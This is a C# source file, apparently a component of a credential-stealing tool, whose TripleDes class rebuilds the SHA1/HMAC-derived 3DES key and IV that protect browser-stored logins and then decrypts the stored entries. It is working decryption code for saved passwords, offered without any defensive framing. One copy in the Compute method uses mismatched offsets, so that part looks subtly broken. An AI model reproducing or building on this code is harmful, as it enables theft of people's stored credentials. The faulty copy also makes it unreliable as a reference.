initial commit
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i2p
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using System;
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using System.IO;
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using System.Security.Cryptography;
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namespace Intelix.Helper.Encrypted;
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internal class TripleDes
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{
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private byte[] CipherText { get; }
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private byte[] GlobalSalt { get; }
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private byte[] MasterPassword { get; }
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private byte[] EntrySalt { get; }
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public byte[] Key { get; private set; }
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public byte[] Vector { get; private set; }
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public TripleDes(byte[] cipherText, byte[] globalSalt, byte[] masterPass, byte[] entrySalt)
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{
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CipherText = cipherText;
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GlobalSalt = globalSalt;
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MasterPassword = masterPass;
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EntrySalt = entrySalt;
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}
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public TripleDes(byte[] globalSalt, byte[] masterPassword, byte[] entrySalt)
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{
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GlobalSalt = globalSalt;
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MasterPassword = masterPassword;
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EntrySalt = entrySalt;
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}
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public void ComputeVoid()
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{
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SHA1CryptoServiceProvider sHA1CryptoServiceProvider = new SHA1CryptoServiceProvider();
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byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
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Array.Copy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
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Array.Copy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
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byte[] array2 = sHA1CryptoServiceProvider.ComputeHash(array);
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byte[] array3 = new byte[array2.Length + EntrySalt.Length];
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Array.Copy(array2, 0, array3, 0, array2.Length);
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Array.Copy(EntrySalt, 0, array3, array2.Length, EntrySalt.Length);
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byte[] key = sHA1CryptoServiceProvider.ComputeHash(array3);
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byte[] array4 = new byte[20];
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Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
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for (int i = EntrySalt.Length; i < 20; i++)
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{
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array4[i] = 0;
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}
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byte[] array5 = new byte[array4.Length + EntrySalt.Length];
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Array.Copy(array4, 0, array5, 0, array4.Length);
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Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
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byte[] array6;
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byte[] array9;
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using (HMACSHA1 hMACSHA = new HMACSHA1(key))
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{
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array6 = hMACSHA.ComputeHash(array5);
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byte[] array7 = hMACSHA.ComputeHash(array4);
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byte[] array8 = new byte[array7.Length + EntrySalt.Length];
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Array.Copy(array7, 0, array8, 0, array7.Length);
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Array.Copy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
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array9 = hMACSHA.ComputeHash(array8);
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}
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byte[] array10 = new byte[array6.Length + array9.Length];
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Array.Copy(array6, 0, array10, 0, array6.Length);
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Array.Copy(array9, 0, array10, array6.Length, array9.Length);
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Key = new byte[24];
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for (int j = 0; j < Key.Length; j++)
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{
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Key[j] = array10[j];
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}
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Vector = new byte[8];
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int num = Vector.Length - 1;
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for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
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{
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Vector[num] = array10[num2];
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num--;
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}
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}
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public byte[] Compute()
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{
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byte[] array = new byte[GlobalSalt.Length + MasterPassword.Length];
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Buffer.BlockCopy(GlobalSalt, 0, array, 0, GlobalSalt.Length);
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Buffer.BlockCopy(MasterPassword, 0, array, GlobalSalt.Length, MasterPassword.Length);
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byte[] array2 = new SHA1Managed().ComputeHash(array);
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byte[] array3 = new byte[array2.Length + EntrySalt.Length];
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Buffer.BlockCopy(array2, 0, array3, 0, array2.Length);
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Buffer.BlockCopy(EntrySalt, 0, array3, EntrySalt.Length, array2.Length);
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byte[] key = new SHA1Managed().ComputeHash(array3);
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byte[] array4 = new byte[20];
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Array.Copy(EntrySalt, 0, array4, 0, EntrySalt.Length);
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for (int i = EntrySalt.Length; i < 20; i++)
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{
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array4[i] = 0;
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}
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byte[] array5 = new byte[array4.Length + EntrySalt.Length];
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Array.Copy(array4, 0, array5, 0, array4.Length);
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Array.Copy(EntrySalt, 0, array5, array4.Length, EntrySalt.Length);
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byte[] array6;
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byte[] array9;
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using (HMACSHA1 hMACSHA = new HMACSHA1(key))
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{
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array6 = hMACSHA.ComputeHash(array5);
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byte[] array7 = hMACSHA.ComputeHash(array4);
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byte[] array8 = new byte[array7.Length + EntrySalt.Length];
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Buffer.BlockCopy(array7, 0, array8, 0, array7.Length);
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Buffer.BlockCopy(EntrySalt, 0, array8, array7.Length, EntrySalt.Length);
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array9 = hMACSHA.ComputeHash(array8);
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}
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byte[] array10 = new byte[array6.Length + array9.Length];
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Array.Copy(array6, 0, array10, 0, array6.Length);
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Array.Copy(array9, 0, array10, array6.Length, array9.Length);
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Key = new byte[24];
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for (int j = 0; j < Key.Length; j++)
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{
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Key[j] = array10[j];
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}
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Vector = new byte[8];
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int num = Vector.Length - 1;
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for (int num2 = array10.Length - 1; num2 >= array10.Length - Vector.Length; num2--)
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{
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Vector[num] = array10[num2];
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num--;
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}
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byte[] sourceArray = DecryptByteDesCbc(Key, Vector, CipherText);
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byte[] array11 = new byte[24];
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Array.Copy(sourceArray, array11, array11.Length);
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return array11;
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}
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public static string DecryptStringDesCbc(byte[] key, byte[] iv, byte[] input)
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{
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using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
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tripleDESCryptoServiceProvider.Key = key;
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tripleDESCryptoServiceProvider.IV = iv;
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tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
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tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
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ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
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using MemoryStream stream = new MemoryStream(input);
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using CryptoStream stream2 = new CryptoStream(stream, transform, CryptoStreamMode.Read);
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using StreamReader streamReader = new StreamReader(stream2);
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return streamReader.ReadToEnd();
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}
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public static byte[] DecryptByteDesCbc(byte[] key, byte[] iv, byte[] input)
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{
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byte[] array = new byte[512];
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using TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
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tripleDESCryptoServiceProvider.Key = key;
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tripleDESCryptoServiceProvider.IV = iv;
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tripleDESCryptoServiceProvider.Mode = CipherMode.CBC;
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tripleDESCryptoServiceProvider.Padding = PaddingMode.None;
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ICryptoTransform transform = tripleDESCryptoServiceProvider.CreateDecryptor(tripleDESCryptoServiceProvider.Key, tripleDESCryptoServiceProvider.IV);
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using MemoryStream stream = new MemoryStream(input);
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using CryptoStream cryptoStream = new CryptoStream(stream, transform, CryptoStreamMode.Read);
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cryptoStream.Read(array, 0, array.Length);
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return array;
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}
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}
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